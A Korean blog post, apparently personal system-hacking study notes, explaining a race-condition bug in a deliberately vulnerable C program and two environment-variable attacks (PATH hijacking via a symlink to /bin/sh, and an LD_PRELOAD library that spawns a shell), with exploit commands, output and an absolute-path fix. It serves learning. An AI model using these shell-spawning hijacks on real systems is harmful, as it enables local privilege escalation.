반응형
race condition
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int len;
void giveshell() {
system("/bin/sh");
}
void * t_function() {
int i = 0;
while (i < 10000000) {
len++;
i++;
sleep(1);
}
}
int main() {
char buf[4];
int gogo;
int idx;
pthread_t p_thread;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. thread create\n");
printf("2. read buffer\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
pthread_create( &p_thread, NULL, t_function, (void * ) NULL);
break;
case 2:
printf("len: ");
scanf("%d", &len);
if(len > sizeof(buf)) {
exit(0);
}
sleep(4);
printf("Data: ");
read(0, buf, len);
printf("Len: %d\n", len);
printf("buf: %s\n", buf);
break;
case 3:
if (gogo == 0x41414141) {
giveshell();
}
}
}
return 0;
}
코드 분석
- buf size가 4이기 때문에 len이 4보다 클 때 exit(0) 수행됨.
- len에 4를 입력하면 if 조건을 건너 뛸 수 있고, sleep하는 동안 len은 계속 증가함.
- BBBBAAAA를 입력하면 (AAAA는 hex로 0x41414141) len은 이미 커졌기 때문에
- 뒷 변수인 gogo를 AAAA로 덮어쓸 수 있음.
※ 스택 할당 배치 순서상 gogo가 더 위에 깔리지만 컴파일러에 의해 자동 조절될 수 있다.
환경 변수 공격 - PATH
export는 환경 변수 목록을 확인하거나 환경 변수 값 설정 가능.
environ1.c
#include <stdlib.h>
#include <unistd.h>
int main()
{
printf("Screen Cleaner\n");
system("clear");
return 0;
}
$ export PATH=""
$ ./environ1
Screen Cleaner
sh: 1: clear: not found
PATH 초기화하고 environ1 실행 시 clear 파일을 못찾고 실행 오류 발생.
$ ln -s /bin/sh ./clear
$ export PATH=""
$ ./environ1
Screen Cleaner
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
ln -s [원본 파일] [심볼릭 링크 이름]
PATH 비워주고 실행하면 찾지 못하고 심볼릭 링크를 따라 /bin/sh 이 실행되어 셸 획득함
/ 로 시작하는 절대경로를 사용해야 익스플로잇 불가능
system("/usr/bin/clear");
PATH랑 별개로 절대 경로에서 찾아가므로.
파일명만 있는 것은 상대경로로 들어간다.
환경 변수 공격 - LD_PRELOAD
#include <stdlib.h>
void read() {
execve("/bin/sh", 0, 0);
}
gcc -o libc.so libc.c -fPIC -shared
공유 라이브러리 만들어 둠.
#include <unistd.h>
#include <stdio.h>
int main()
{
char buf[16];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
write(1, "Data:", 5);
read(0, buf, sizeof(buf)-1);
write(1, "GOOD", 4);
return 0;
}
write와 read 호출 시에 /lib/x86_64-linux-gnu/libc.so.6 라이브러리 파일 로딩함.
$ export LD_PRELOAD="./libc.so"
$ ./environ2
하지만 이렇게 LD_PRELOAD로 라이브러리 로딩 루트를 변경하면
read시에 execve로 /bin/sh 실행됨.
execve("/bin/sh", 0, 0);
- 첫번째 파일 실행, argv[]와 envp[]를 인자로 전달함.
반응형
'Security' 카테고리의 다른 글
register & system call (0) | 2021.11.26 |
---|---|
[systemhacking] ELF 동적 디버깅 (0) | 2021.11.24 |
[systemhacking] Uninitialized value (0) | 2021.11.22 |
[systemhacking] Buffer overflow c++ (0) | 2021.11.22 |
[systemhacking] Integer Issues (0) | 2021.11.22 |